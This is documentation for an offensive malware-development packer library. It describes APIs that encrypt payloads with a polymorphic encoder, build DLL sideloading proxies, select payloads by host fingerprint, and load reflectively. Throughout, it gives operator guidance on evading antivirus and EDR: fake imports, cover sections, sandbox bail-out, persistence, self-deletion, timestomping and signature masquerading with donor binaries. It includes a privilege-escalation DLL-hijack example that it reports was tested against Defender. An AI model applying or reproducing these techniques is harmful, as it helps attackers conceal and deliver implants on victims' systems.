-pl payload-w10.exe:amd:10000-19999
-pl fallback.exe:*:*-*
-fallback controls what the launcher does when no predicate matches:
exit— silent clean exit (default)first— select payload 0 unconditionally (defeats per-host secrecy)crash— deliberate fault → SIGSEGV (sandbox alert)
Library API Reference
Single-target
func PackBinary(input []byte, opts PackBinaryOptions) (out []byte, key []byte, err error)
Modifies a PE32+ or ELF64 in place: encrypts .text with the SGN
polymorphic encoder, appends a small decoder stub as a new section,
rewrites the entry point. Output is a runnable binary.
| Field | Type | Default | Notes |
|---|---|---|---|
Format | Format | (required) | FormatWindowsExe / FormatLinuxELF |
Stage1Rounds | int | 3 | SGN decoder rounds; 1..10 |
Seed | int64 | 0 (= random) | Same seed + input + rounds = byte-identical output |
Compress | bool | false | LZ4 .text before SGN |
AntiDebug | bool | false | Windows-only: PEB + RDTSC probe |
CipherKey | []byte | nil | Reserved for future AES wrapping |
Sentinels (use errors.Is):
transform.ErrUnsupportedInputFormat— magic doesn't matchFormat.transform.ErrNoTextSection— input lacks executable section.transform.ErrOEPOutsideText— OEP not in.text.transform.ErrTLSCallbacks— input has TLS callbacks (would run before stub).transform.ErrStubTooLarge— stub exceededStubMaxSize.
func PackShellcode(shellcode []byte, opts PackShellcodeOptions) ([]byte, []byte, error)
Wraps raw position-independent shellcode in a runnable host PE / ELF;
optionally chains through PackBinary for the SGN-style stub envelope.
Returns (binary, key, err) — key is non-nil only when Encrypt=true
and the operator did not supply one.
| Field | Type | Default | Notes |
|---|---|---|---|
Format | Format | (required) | FormatWindowsExe / FormatLinuxELF — FormatUnknown rejected |
Encrypt | bool | false | Run the wrapped host through PackBinary's stub envelope |
ImageBase | uint64 | 0 (= canonical) | Per-build PE ImageBase / ELF vaddr override; 0 → 0x140000000 (PE) or 0x400000 (ELF) |
Stage1Rounds | int | 3 | SGN decoder rounds; -encrypt only |
Seed | int64 | 0 (= random) | Same seed → byte-identical output; -encrypt only |
Key | []byte | nil | Operator-supplied AEAD key; -encrypt only |
AntiDebug | bool | false | Windows-only PEB + RDTSC probe; -encrypt only |
Compress | bool | false | LZ4 the wrapped host before SGN; -encrypt only |
Sentinels (use errors.Is):
packer.ErrShellcodeEmpty— shellcode bytes nil or zero-length.packer.ErrUnsupportedFormat—opts.FormatisFormatUnknown.transform.ErrMinimalELFWithSectionsCodeEmpty— surfaced as a wrap error.
func Pack(data []byte, opts Options) ([]byte, []byte, error)
Encrypt arbitrary bytes into an MLDV… blob. Returns (blob, key, err).
func Unpack(packed []byte, key []byte) ([]byte, error)
Reverse Pack. Sentinels: ErrShortBlob, ErrBadMagic,
ErrUnsupportedVersion, ErrUnsupportedCipher,
ErrUnsupportedCompressor, ErrPayloadSizeMismatch. Wrong key surfaces
as the underlying AEAD authentication error.
func PackPipeline(data []byte, pipeline []PipelineStep) ([]byte, PipelineKeys, error)
Multi-stage Pack — compose ciphers, compressors, permutations.
Returns the blob plus the per-step keys (caller must store all of
them to invert via UnpackPipeline). Pipeline ops:
OpCipher, OpPermute, OpCompress, OpEntropyCover. Sentinels:
ErrEmptyPipeline, ErrPipelineTooLong,
ErrUnsupportedPermutation, ErrPipelineKeysMismatch.
DLL operations (Modes 7-10)
func PackBinary(input []byte, opts PackBinaryOptions) (out, key []byte, err error) — Mode 7
Same entry point as Mode 3, but with opts.Format = FormatWindowsDLL. Input MUST be a PE32+ DLL with
IMAGE_FILE_DLL set and a populated .reloc table. Returns
the packed DLL ready for LoadLibrary. The original DllMain
is preserved verbatim (stub tail-calls into it). See Mode 7
above for the toolchain limitation (mingw refuses .reloc;
use MSVC or transform.BuildMinimalPE32Plus).
Sentinels (opts.Format = FormatWindowsDLL):
transform.ErrIsEXE— input is an EXE, not a DLL.transform.ErrNoExistingRelocDir— input lacks.reloc.stubgen.ErrCompressDLLUnsupported—Compressnot yet threaded through the DllMain stub.
func PackBinary(input []byte, opts PackBinaryOptions) (out, key []byte, err error) — Mode 8
Same entry point with opts.Format = FormatWindowsExe + opts.ConvertEXEtoDLL = true. Input is an EXE; output is a DLL
that LoadLibrary'd spawns the original EXE entry point on a
new thread inside the host process. Compress + AntiDebug
both supported.
Optional: opts.ConvertEXEtoDLLDefaultArgs string (v0.130.0+)
bakes a default command line into the stub. The DllMain
overwrites PEB.ProcessParameters.CommandLine.Buffer in place
(REP MOVSB) BEFORE invoking the OEP, so the spawned payload's
GetCommandLineW / os.Args returns the operator-controlled
bytes instead of the host process's cmdline. Empty string =
no patch; payload inherits host cmdline.
func PackChainedProxyDLL(input []byte, opts ChainedProxyDLLOptions) (proxy, payload, key []byte, err error) — Mode 9
Two-file sideloading bundle. Returns proxy (forwarder +
LoadLibraryA stub mirroring opts.TargetName's exports) and
payload (encrypted EXE-as-DLL, Mode-8 shape). Drop both
side-by-side under the operator's chosen filenames.
func PackProxyDLL(input []byte, opts ProxyDLLOptions) (proxy, key []byte, err error) — Mode 10
Single-file fused proxy. Returns one PE32+ DLL that BOTH
mirrors opts.TargetName's exports AND carries the encrypted
EXE payload, with NO LoadLibraryA IAT entry (CreateThread
resolved via PEB walk).
PackProxyDLLFromTarget
func PackProxyDLLFromTarget(payload, targetDLLBytes []byte, opts ProxyDLLOptions) (proxy, key []byte, err error)
Convenience wrapper around PackProxyDLL that parses the
target DLL's bytes (via dllproxy.ExportsFromBytes)
and feeds the named-export list into opts.Exports — the
caller no longer reaches into pe/parse directly. opts.TargetName
is still required (the on-disk filename the proxy impersonates;
not inferable from the PE).
fakelib, _ := os.ReadFile(`C:\Vulnerable\fakelib.dll`)
fused, key, err := packer.PackProxyDLLFromTarget(probe, fakelib, packer.ProxyDLLOptions{
PackOpts: packer.PackBinaryOptions{Format: packer.FormatWindowsExe, Stage1Rounds: 3},
TargetName: "fakelib",
})
Used as the canonical Mode-10 entry point by
examples/privesc-dll-hijack (the
-mode 10 branch reads fakelib.dll from the target and packs
in one call).
Transform building blocks (advanced)
Lower-level primitives the operator-facing entry points compose with. Use directly when integrating with other maldev packages or building custom emitters.
transform.WalkBaseRelocs(pe, cb) error
transform.WalkImportDirectoryRVAs(pe, cb) error
transform.WalkResourceDirectoryRVAs(pe, cb) error
transform.ShiftImageVA(pe, delta) ([]byte, error)
transform.AppendExportSection(pe, exportBytes, sectionRVA) ([]byte, error)
transform.NextAvailableRVA(pe) (uint32, error)
transform.StripPESecurityDirectory(pe) error
transform.BuildMinimalPE32Plus(body) ([]byte, error)
transform.SetIMAGEFILEDLL(buf) error
transform.PatchPEImageBase(pe, base) error
transform.RandomImageBase64(rng) uint64
dllproxy.BuildExportData(targetName, exports, scheme, sectionVA) ([]byte, uint32, error)
Multi-target bundle
func PackBinaryBundle(payloads []BundlePayload, opts BundleOptions) ([]byte, error)
Serialise N payloads into a single bundle blob. Each payload is XOR-encrypted
with a fresh random 16-byte rolling key. Wire format: 32 B BundleHeader +
N × 48 B FingerprintEntry + N × 32 B PayloadEntry + concatenated
encrypted data.
BundleOptions field | Notes |
|---|---|
FallbackBehaviour | BundleFallbackExit / …First / …Crash |
FixedKey | Test determinism only — defeats per-payload secrecy |
Profile | Per-build IOC overrides; see DeriveBundleProfile |
Sentinels: ErrEmptyBundle, ErrBundleTooLarge (>255 payloads).
func DeriveBundleProfile(secret []byte) BundleProfile
SHA-256 derives BundleProfile{Magic, Version, FooterMagic, Vaddr}
from a per-deployment secret. Empty secret returns the canonical
wire-format defaults.
func InspectBundle(bundle []byte) (BundleInfo, error)
func InspectBundleWith(bundle []byte, profile BundleProfile) (BundleInfo, error)
Parse a bundle blob into typed BundleInfo + BundleEntryInfo slice.
The *With variant validates against the operator's per-build
profile.Magic instead of the canonical BundleMagic.
Sentinels: ErrBundleTruncated, ErrBundleBadMagic,
ErrBundleOutOfRange.
func SelectPayload(bundle []byte, hostVendor [12]byte, hostBuild uint32) (int, error)
func SelectPayloadWith(bundle []byte, profile BundleProfile, hostVendor [12]byte, hostBuild uint32) (int, error)
Pure-Go reference implementation of the runtime predicate match. Returns the matched payload index, or -1 on no match.
func UnpackBundle(bundle []byte, idx int) ([]byte, error)
func UnpackBundleWith(bundle []byte, idx int, profile BundleProfile) ([]byte, error)
Build-host helper: decrypt one payload by index. The runtime stub re-implements the same logic in asm and never exposes keys to memory unless its predicate matched.
func MatchBundleHost(bundle []byte) (int, error)
func MatchBundleHostWith(bundle []byte, profile BundleProfile) (int, error)
SelectPayload + reads host vendor/build automatically (HostCPUIDVendor
RtlGetVersionon Windows / 0 on Linux).
func AppendBundle(launcher, bundle []byte) []byte
func AppendBundleWith(launcher, bundle []byte, profile BundleProfile) []byte
func ExtractBundle(wrapped []byte) ([]byte, error)
func ExtractBundleWith(wrapped []byte, profile BundleProfile) ([]byte, error)
Concatenate / extract a bundle to/from a pre-built launcher binary.
Layout: [ launcher | bundle | bundleStartOffset:8 LE | FooterMagic:8 ].
func WrapBundleAsExecutableLinux(bundle []byte) ([]byte, error)
func WrapBundleAsExecutableLinuxWith(bundle []byte, profile BundleProfile) ([]byte, error)
func WrapBundleAsExecutableLinuxWithSeed(bundle []byte, profile BundleProfile, seed int64) ([]byte, error)
All-asm wrap path. The hand-rolled stub (~160 B) + minimal-ELF
container (~120 B) + bundle bytes = a runnable Linux ELF in
~470 B. The *WithSeed variant exposes deterministic stub
polymorphism for reproducible builds; the standard variant draws a
fresh crypto/rand seed.
Cover layer
The cover layer adds plausible-looking structural noise to packed binaries to frustrate naive packer fingerprints. Orthogonal to the bundle path — applies to any PE/ELF.
func AddCoverPE(input []byte, opts CoverOptions) ([]byte, error)
func AddCoverELF(input []byte, opts CoverOptions) ([]byte, error)
Append junk sections (PE) / PT_LOADs (ELF) filled per CoverOptions.Fill
(JunkRandom / JunkZero / JunkPattern). All sections are
MEM_READ-only on PE and PF_R-only on ELF — the cover never adds
executable surface.
func DefaultCoverOptions(seed int64) CoverOptions
func ApplyDefaultCover(input []byte, seed int64) ([]byte, error)
Convenience: a sensible default CoverOptions (5-7 sections,
JunkPattern fill, frequency-ordered byte alphabet) plus the
all-in-one wrapper that auto-detects PE vs ELF.
func AddFakeImportsPE(input []byte, fakes []FakeImport) ([]byte, error)
var DefaultFakeImports []FakeImport
Append benign-DLL IMAGE_IMPORT_DESCRIPTOR entries (kernel32, user32,
shell32, ole32) so the packed PE's IAT looks normal. The kernel
resolves these at load time; the binary's actual code never references
them. Companion to AddCoverPE.
Runtime — pe/packer/runtime
func Prepare(input []byte) (*PreparedImage, error)
func (p *PreparedImage) Run() error
func (p *PreparedImage) Free() error
Reflective in-process loader. Parses the input PE/ELF, mmaps PT_LOADs
(or PE sections), applies relocations, mprotects per-segment, patches
auxv, and jumps to entry on a fake kernel stack. Used by
cmd/bundle-launcher's MALDEV_REFLECTIVE=1 path.
Run() requires MALDEV_PACKER_RUN_E2E=1 in the environment — explicit
operator opt-in so the runtime can't fire by accident in processes
that happen to import the package.
OPSEC & Detection
What defenders see
| Artefact | Where defenders look | Mitigation |
|---|---|---|
MLDV magic at file offset 0 (raw blob) | Static signature scanner | Pack is a byte stream, not an exe — wrap in a host PE before shipping |
Appended .mldv section in PackBinary output | PE section-name scan | Rename via pe/morph upstream |
| Single-PT_LOAD-RWX ELF (all-asm wrap) | yara structural rule | Irreducible without changing the container |
| Bundle wire format (magic + 32 B header + 48 B entries) | Static rule keyed on the structure | -secret randomises the magic + version + footer + ELF vaddr; structural offsets remain |
| Stub byte signatures across packs | yara rule on opcode sequence | Per-pack NOP polymorphism (Intel multi-byte NOPs spliced at slot A) breaks naive byte signatures |
.text RWX in PackBinary output | Memory-permissions audit | The stub mprotects on entry so .text is RWX for a few cycles only — but it IS RWX for that window |
| Imports / exports / TLS / resources of the input | They survive packing | Use pe/morph / pe/imports upstream |
Process-tree visibility
| Mode | Process tree |
|---|---|
PackBinary packed exe | One process — kernel does the load |
cmd/bundle-launcher default | Two processes (launcher → execve payload) |
cmd/bundle-launcher reflective (MALDEV_REFLECTIVE=1) | One process |
| All-asm wrap | One process |
D3FEND counters
- D3-FCA — magic-byte fingerprinting catches canonical builds; per-build randomisation defeats it.
- D3-PA
— RWX
.textand high-entropy regions look anomalous to memory scanners.
Operator hardening
- Pair every
PackBinarywithpe/morph.UPXMorph+pe/stripto remove pclntab strings / Go BuildID that survive.textencryption. - Run
cmd/packer-vis comparebefore+after pack to confirm the expected entropy gain (typical+2.0..+3.0bits/byte on a Go static-PIE). - For multi-target deployments, pick a fresh
-secretper ship cycle. Reusing secrets defeats the per-build property. - The reflective launcher path leaves no on-disk plaintext for the
matched payload — prefer it over
memfd+execveon hosts with aggressive auditd / EDR file-write monitoring. cmd/packerscopeagainst your own build is a sanity check — if the tool can identify your binary's wire format, the operator can too.
Composability with other maldev packages
The packer is intentionally narrow — it produces a runnable binary. Wider operator workflows chain other maldev packages around it.
| Hook point | Package | What you get |
|---|---|---|
| Pre-pack section / IAT scramble | pe/morph, pe/strip | Section rename, Go pclntab strip — hides strings the SGN encoder otherwise leaks |
| Pre-pack masquerade | pe/masquerade, pe/donors, pe/cert | Authenticode forge, icon graft, version-info swap — packed binary inherits the legitimate-looking shell |
| Stronger payload encryption | crypto/aesgcm, crypto/chacha20 | The bundle's per-payload cipher is XOR-rolling today; pre-encrypt the payload before bundling for a real AEAD layer |
| Sandbox bail before reveal | recon/antivm.Hypervisor, recon/sandbox | Wrap the launcher so it exits cleanly on a known sandbox before any payload byte gets touched |
| In-process injection | inject/* | The bundle's payload can BE the shellcode an operator injects elsewhere; pack→bundle→inject = three orthogonal layers |
| Custom predicates | hash/apihash, recon/antivm.CPUVendor | Extend FingerprintPredicate with operator host-fingerprint logic |
| Persistence after dispatch | persistence/* | Dispatched payload installs itself via Run/RunOnce / scheduled task / service |
| Cleanup after dispatch | cleanup/selfdelete, cleanup/timestomp | Self-delete after payload finishes — typical operator pattern |
The cmd/bundle-launcher Go-runtime path is where these compose
naturally — it's pure Go, and any maldev import works at the call
site of executePayload. The all-asm path is intentionally minimal
(no Go runtime, ~470 B); operators wanting a recon prologue there
need a corresponding asm primitive (pe/packer/stubgen/stage1 already
houses CPUID/PEB; sandbox / hypervisor primitives can be added the
same way).
Asm tooling — golang-asm vs alternatives
The packer uses pe/packer/stubgen/amd64.Builder, a thin wrapper
around golang-asm
(the encoder Go's compiler uses for plan9 asm). Builder exposes a
small hand-curated subset (MOV / LEA / XOR / SUB / ADD / MOVZX / MOVB
/ DEC / POP / JMP / JNZ / JE / CALL / RET / NOP / RawBytes / labels);
the remaining x86-64 encodings (CMP / TEST / SHL / IMUL / SETZ /
multi-byte NOPs) ride on RawBytes with hand-encoded ModRM.
Why not mmcloughlin/avo?
Avo generates .s files at build time that Go assembles into the
calling binary. Excellent for multi-arch math kernels (chacha20,
blake2b). Wrong direction for our use case: we EMIT raw bytes at
PACK time into a dynamically sized stub embedded in someone else's
binary. golang-asm gives us the JIT-style "encode bytes into a
buffer" API we need; avo gives us a .o linked into the packer
itself.
Where the hand-encoded bytes hurt. The stub's scan loop, vendor
compare, decrypt loop are 100-200 byte sequences with rel8
displacements computed by hand and cross-checked via
offset-trace comments. Eight wrong displacements were caught while
shipping the vendor-aware dispatch. A targeted refactor extending
amd64.Builder with CMP / TEST / Jcc-suite / SHL would let the stub
become a chain of b.CMP(...) ; b.JGE(.label) calls with golang-asm
computing displacements at link time. ~200-LOC extension. Not
blocking; tracked.
Tested-fixture matrix (2026-05-12)
The empirical results below come from running each fixture
through ALL applicable pack modes + Win10 VM E2E. All fixtures
live under pe/packer/testdata/ (force-tracked binaries;
rebuild via the pe/packer/testdata/Makefile targets).
Vanilla / RandomizeAll matrix (Mode 3 EXE pack)
| Fixture | Class | Vanilla pack | RandomizeAll pack | Comment |
|---|---|---|---|---|
winhello.exe | Go static-PIE, exits cleanly | ✅ runs + prints stdout | ✅ runs + prints stdout | the canonical happy path |
winpanic.exe | Go static-PIE, nil-deref + defer/recover | ✅ recovers + prints stack | ✅ recovers + prints stack | .pdata stale doesn't bite Go (Go uses pclntab unwinder, not Win32 SEH) |
winhello_w32.exe | mingw -nostdlib, Win32 directly (no CRT, no globals, no constructors) | ✅ runs + prints stdout | ✅ runs + prints stdout | proves the IMPORT walker covers non-Go MSVC-style binaries too — directory inventory IMPORT + EXCEPTION + IAT only |
winhello_w32_res.exe | winhello_w32 + RT_GROUP_ICON + RT_MANIFEST embedded via tc-hib/winres (pure Go, no mingw windres) | ✅ resources parseable post-pack | ✅ resources parseable post-pack | proves the RESOURCE walker (Phase 2-F-3-c-3, v0.125.0) preserves icons/manifests under RandomizeImageVAShift. Regenerate fixture: scripts/build-fixture-winres.sh. |
winver.exe (Windows 11 stock) | MSVC PE, CFG-protected | ❌ crash 0xC0000409 STATUS_STACK_BUFFER_OVERRUN | ❌ load reject "is not a valid Win32 application" | CFG cookie protection rejects modified .text — see Known limitations below |
| mingw default (with CRT) | C compiled normally, puts etc. | ❌ rejected at PackBinary time | ❌ same | mingw CRT injects TLS callbacks → transform.ErrTLSCallbacks. Workaround: build with -nostdlib like winhello_w32 |
DLLs as EXE input (testlib.dll) | mingw no-CRT shared library passed to Format=FormatWindowsExe | ❌ rejected at PackBinary time | ❌ same | transform.ErrIsDLL — input doesn't match Format=WindowsExe. Workaround: use Format=FormatWindowsDLL (Mode 7, ✅ since v0.128.0) or wrap with PackBinaryBundle. |
DLL-mode validations (Modes 7-10)
| Test | Mode | Win10 VM E2E | Validates |
|---|---|---|---|
TestPackBinary_FormatWindowsDLL_LoadLibrary_E2E | 7 (FormatWindowsDLL) | ✅ since v0.128.0 | Native DllMain stub LoadLibrary'd cleanly. Uses testutil.BuildDLLWithReloc synthetic fixture. |
TestPackBinary_ConvertEXEtoDLL_LoadLibrary_E2E | 8 (ConvertEXEtoDLL) | ✅ | Converted EXE-as-DLL: payload writes marker file from spawned thread. Uses probe_converted.exe. |
TestPackBinary_ConvertEXEtoDLL_LoadLibrary_Compress_E2E | 8 + Compress | ✅ since v0.124.0 | Same + LZ4 inflate path. Confirms slice 5.7. |
TestPackBinary_ConvertEXEtoDLL_LoadLibrary_AntiDebug_E2E | 8 + AntiDebug | ✅ since v0.122.0 | Silent-exit when KVM trips RDTSC↔CPUID delta on virtualised host. |
TestPackProxyDLL_LoadLibrary_E2E | 10 (PackProxyDLL) | ✅ since v0.129.0 | Fused proxy loads — basic structural validation. |
TestPackProxyDLL_Strict_E2E | 10 strict | ✅ since c9c0635 | Both side effects: (a) GetProcAddress resolves forwarder to real version.dll at 0x7ff9aff810b0 via GLOBALROOT scheme, (b) packed payload writes marker from thread inside host. Slice 6.3 closure. |
Operational envelope: PackBinary is validated for
Go-built static-PIE Windows binaries. Microsoft CFG-protected
binaries are out of scope (see below). Non-CFG MSVC binaries
and DLLs haven't been tested against the current walker
coverage; a failure code other than 0xC0000409 would point
at a missing walker per the
walker-suite plan (internal: .dev/packer-2f3c-walker-suite-plan.md).
Known limitations
Diagnosing failures. The companion doc
.dev/refactor-2026/packer-debug-toolkit.md(internal:.dev/packer-debug-toolkit.md) covers the empirical-bisection workflow + in-tree CLIs (packer-vis sections,packer-vis directories,packer-vis entropy,packer-vis compare) that solve most packer crashes without an external debugger. It includes a recognisable-failure-code table mapping0xC0000005/0xC0000135/0xC0000409/ "is not a valid Win32 application" to their root causes + first-action remediation.
0xC0000005 (STATUS_ACCESS_VIOLATION) on large Compress packs
Symptom: packed binary exits with 0xC0000005 immediately,
no stdout, no breadcrumb writes — the orchestrator never reaches
main(). Affected large Go binaries (≥ ~2 MiB .text) packed
with Compress=true.
Cause: InjectStubPE used to mark the appended stub section
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE only. The C3
compression path's LZ4 inflate decoder writes into the section's
BSS slack at runtime (StubMaxSize..StubMaxSize+StubScratchSize,
the kernel-zero-filled scratch region for the inflated plaintext
before memcpy back to .text). Small inputs sometimes succeeded
because the kernel happened to back the freshly-mapped BSS pages
with implicitly-writable PTEs; larger inputs reliably faulted.
Fix (in tree since 2026-05-13): InjectStubPE now adds
IMAGE_SCN_MEM_WRITE to the stub section's characteristics when
Plan.StubScratchSize > 0. The change is gated behind the
scratch-size predicate so non-Compress packs keep their RX-only
stub section. Two regression tests pin the contract:
TestInjectStubPE_StubSectionWritableWhenScratch and
TestInjectStubPE_StubSectionReadOnlyWithoutScratch.
End-to-end verification: 12 MiB
examples/privesc-dll-hijack/privesc-e2e.exe packed with
-compress -randomize -rounds 5 reaches STRONG SUCCESS through
the full DLL-hijack chain (Defender real-time protection ON,
no exclusions) — see
examples/privesc-dll-hijack/README.md §8 bis.
0xC0000409 (STATUS_STACK_BUFFER_OVERRUN) on Windows execution
Symptom: packed binary exits with exit code 3221226505
(0xC0000409) on Windows immediately after spawn, before any
of your code runs.
Cause: the input PE was compiled with Control Flow Guard
(/guard:cf MSVC, default for many modern Microsoft binaries).
CFG bakes a runtime check that validates .text integrity via
the __guard_check_icall_fptr cookie + the
GuardCFFunctionTable whitelist. PackBinary's SGN encryption
of .text invalidates that signature; the runtime check
catches it on the first indirect call and aborts.
Workaround: wrap the binary instead of in-place encrypting
it — use PackBinaryBundle + the cmd/bundle-launcher runtime,
which preserves the original binary intact and reflectively
loads it at runtime. The CFG cookie sees the unmodified .text
and stays happy.
Why no walker fixes this: CFG isn't an RVA-staleness
problem. It's a cryptographic-style integrity check on the
code section's BYTES. Any in-place mutation of .text (which
is what PackBinary does by definition) trips it. The fix
isn't a directory walker, it's a different pack mode.
Limitations
A complete planned-improvements list with implementation breakdown
lives at
.dev/superpowers/plans/2026-05-09-windows-tiny-exe.md (internal: .dev/plans/2026-05-09-windows-tiny-exe.md)
— it tracks every gap below as an actionable engineering ticket.
Brief summary follows.
- Single PT_LOAD RWX in the all-asm path. The stub mutates its
own page (the bundle data). The trade-off is documented; operators
needing R+X / R+W split should use Mode 3 (
PackBinary) which preserves segment-level permissions. - PT_WIN_BUILD predicates are no-ops on Linux all-asm. The
predicate reads
PEB.OSBuildNumber, which only exists on Windows. Linux V2-Negate stub (bundleStubVendorAwareV2Negate) skips the build-number compare; matching againstBuildMin > 0will silently fall through. Windows V2NW (bundleStubV2NegateWinBuildWindows) honours it fully. UsePT_CPUID_VENDOR/PT_CPUID_FEATURES/PT_MATCH_ALLfor cross-platform predicates. - TLS callbacks rejected by
PackBinary. The stub runs at the rewritten entry point — TLS callbacks would fire BEFORE the stub could decrypt. Surfaced astransform.ErrTLSCallbacks. - OEP must lie inside
.text. The stub's final JMP targets the decrypted region; binaries with custom-linker entry points outside.textreturntransform.ErrOEPOutsideText. cmd/bundle-launcherreflective load expects static-PIE ELF. The reflective loader (pe/packer/runtime) understands static-PIE-shaped input — not raw shellcode and not dynamically-linked ELFs. Use the all-asm path for shellcode payloads or keep payloads packaged viaPackBinaryupstream.- Bundle predicates are AND-combined within an entry, OR across entries. No grouping operator. Express OR-of-AND by adding multiple FingerprintEntry rows pointing at the same payload.
Glossary
Plain-language explanations of the jargon used throughout this doc. Listed in the order an operator typically encounters each term.
Payload. The thing you actually want to run on the target — a real PE/ELF binary, a packed binary, raw shellcode, anything. The packer wraps a payload to make it harder to detect / fingerprint.
SGN (Shikata Ga Nai-style polymorphic encoder). A self-decoding byte stream where each byte is XORed with a key, and the key itself rotates every round. "Polymorphic" means the bytes of the decoder are randomised per pack: the same input encoded twice produces two decoders that LOOK different but DO the same thing. Defeats yara rules keyed on a fixed decoder pattern.
Round. One pass over the encoded payload, applying one substitution and one register choice. More rounds = harder to recognise but bigger stub. Ships 1..10; default 3.
PIC trampoline (call .pic ; pop r15). Trick used by
position-independent code to learn its own runtime address.
The call instruction pushes the address of the instruction
after it; the pop retrieves that address into a register.
Now the code can compute "I'm running here, my data is at +N
from here" without knowing where the kernel loaded it.
RWX. Read + Write + Execute permissions on a memory page. Legitimate code is almost always Read+Execute (code) or Read+Write (data). RWX means the page can be modified AND run, which is what self-decrypting stubs need (decrypt the bytes, then run them). Loud signal for any EDR — they specifically watch for RWX allocations.
PE32+ / .exe. Windows executable format. PE32+ is the 64-bit
flavour. The kernel's loader reads this format directly when you
run a .exe.
ELF / .elf. Linux executable format. The kernel reads this when
you run a chmod +x binary.
Static-PIE. Position-Independent Executable that's also
statically linked — no dependency on the dynamic linker (ld.so).
Required for the reflective loader because we can't load the
dynamic linker ourselves; the binary has to stand alone.
PT_LOAD. ELF program header type meaning "loadable segment".
The kernel mmaps these segments into memory at process start.
A minimal ELF has one PT_LOAD covering everything.
Brian Raiter shape. Reference to Raiter's 2002 article showing the smallest legal Linux ELF (45 bytes). Our minimal-ELF emitter follows that layout, slightly extended to host real code.
rep movsb. x86 instruction that copies bytes from [rsi] to
[rdi] exactly rcx times. The C memmove is one instruction in
asm.
auxv (auxiliary vector). Kernel-supplied data pushed onto the stack at process start: random canary, page size, AT_RANDOM, etc. The reflective loader rewrites it so the loaded payload sees its OWN values, not the launcher's.
OEP (Original Entry Point). The address the binary's normal
entry point was at before the packer rewrote it. The stub jumps
to OEP after decrypting .text.
TLS callbacks. Code that runs before the binary's entry point — per-thread initialisation. Packers reject inputs with TLS callbacks because they'd run before the stub got a chance to decrypt.
Imports / IAT. External functions a PE/ELF needs from system
DLLs (kernel32.dll!CreateFile, etc.). The Import Address Table
holds the resolved addresses. The kernel fills these in when
loading the binary.
CPUID. x86 instruction that returns CPU information. Leaf 0 returns the vendor string ("GenuineIntel" / "AuthenticAMD"). Universal — every x86 CPU since the original Pentium implements it.
PEB (Process Environment Block). Windows kernel-managed structure
at a known offset (gs:[0x60] on x64) carrying process state — the
loaded module list, command line, OS version, etc. Reading it
doesn't require any API call.
yara. File-pattern matching language used by AV / EDR for static signatures. "yara'able" means a defender can write a yara rule that matches the artefact.
Kerckhoffs's principle. Auguste Kerckhoffs (1883): the security of a cipher must depend on the secrecy of the key, not the secrecy of the algorithm. Applied here: the bundle wire format is public; the per-build secret is the only thing varying between operators.
AEAD (Authenticated Encryption with Associated Data). Encryption scheme that both encrypts the plaintext AND verifies the ciphertext hasn't been tampered with. AES-GCM is the canonical example — decryption fails (rather than producing garbage) if anyone modified a single byte.
memfd_create. Linux syscall that creates an anonymous file
descriptor backed by RAM (no on-disk inode). The bundle launcher
uses it to write the decrypted payload into RAM and execve it
straight from there — zero on-disk plaintext for the matched
payload.
Reflective loading. Loading a PE/ELF into the current process's
address space and jumping to its entry — instead of asking the
kernel to load it via execve / CreateProcess. Used to avoid
showing a child process in the process tree.
rel8 displacement. x86 short conditional jumps (Jcc) take a
1-byte signed offset (-128 to +127) from the end of the jump
instruction. Hand-encoding asm with rel8 displacements is where
mistakes happen — every shift in the byte stream needs all rel8
distances recomputed.
ROR-13 hash. Rotate-Right-13 hash — common API-resolution trick in shellcode. Replaces literal API names like "ExitProcess" with a 4-byte hash so the strings don't appear in the binary. Defeated by defenders who hash the API name themselves and compare.
ASLR (Address Space Layout Randomisation). OS feature that randomises the address every binary lands at. Position-independent code (PIC) tolerates ASLR; non-PIC code crashes when its absolute addresses don't match the load address.
See also
pe/packer/runtime— reflective in-process loaderpe/packer/stubgen— SGN polymorphic encoder + per-stage asm primitivespe/packer/transform— section-aware PE/ELF emit + minimal-ELF writercmd/packer— pack / unpack / bundle / wrap CLIcmd/bundle-launcher— Go-runtime bundle launchercmd/packerscope— defender-side artefact analysercmd/packer-vis— entropy + bundle visualiser- Worked example: docs/examples/packer-elevation-tour.md
- Worked example: docs/examples/multi-target-bundle.md
- Operator playground:
make packer-demo - Wire format spec:
.dev/superpowers/specs/2026-05-08-packer-multi-target-bundle.md(internal:.dev/specs/2026-05-08-packer-multi-target-bundle.md)
Windows Security Catalog signing
TL;DR
Many Microsoft binaries (cmd.exe, notepad.exe, calc.exe,
most of System32) have no embedded WIN_CERTIFICATE in their
PE security directory. pe/cert.Read correctly returns
ErrNoCertificate for them — and that is not a bug. Their
Authenticode signature lives in a separate .cat file under
C:\Windows\System32\CatRoot, registered with the kernel's
WinTrust subsystem. signtool verify /pa cmd.exe returns
"successfully verified" because WinTrust queries the catalog,
finds the file's hash, and resolves the catalog's signature.
Operationally:
- Cloning a catalog-signed identity via
cert.Copy/donors.LoadBlobis impossible — there is no embedded blob to copy. - The "right" attack on catalog-signed binaries is catalog
poisoning (insert your own signed
.catmapping the implant's hash) or catalog hash forging (collide the implant's Authenticode hash with a hash already in a trusted.cat). Both are out of scope forpe/cert. - For implant masquerading purposes, prefer donors with embedded
signatures (Edge, OneDrive, Acrobat, Firefox, Office, VS Code,
Anthropic Claude — all bundled in
pe/masquerade/donors).
Primer — embedded vs catalog signatures
PE Authenticode supports two signature delivery channels:
| Embedded | Catalog | |
|---|---|---|
| Where the signature lives | Inside the PE, in the security directory (offset/size in IMAGE_DATA_DIRECTORY[4]). | Outside the PE, in a separate .cat file. |
| WIN_CERTIFICATE blob present | Yes. | No — security directory is zero. |
| Verifier path | WinTrust parses the embedded PKCS#7 SignedData over the PE's Authenticode hash. | WinTrust hashes the PE, looks up that hash in every registered catalog, then verifies the catalog's own SignedData. |
signtool verify /pa <pe> | Reports the embedded signer chain. | Reports "Signed by:" the catalog's signer (same Microsoft chain), file path resolves the catalog. |
| Operational consequences | cert.Read returns the WIN_CERTIFICATE bytes. Cloneable via cert.Copy. | cert.Read → ErrNoCertificate. Not cloneable into another PE — the binding is hash-based, not blob-based. |
System-shipped Windows binaries default to catalog signing
because Microsoft batch-signs hundreds of files in a single
.cat, saving signature overhead per binary and centralising
revocation: rotate the catalog signing cert and every file mapped
inside flips authority in one operation. Third-party publishers
(Adobe, Mozilla, Google, Anthropic, custom in-house builds) ship
embedded signatures because they don't have a privileged path
to install .cat files into CatRoot.
How catalog verification works
sequenceDiagram
participant Caller as User-mode caller<br>(SmartScreen / signtool / AppLocker)
participant WT as WinTrust<br>(wintrust.dll)
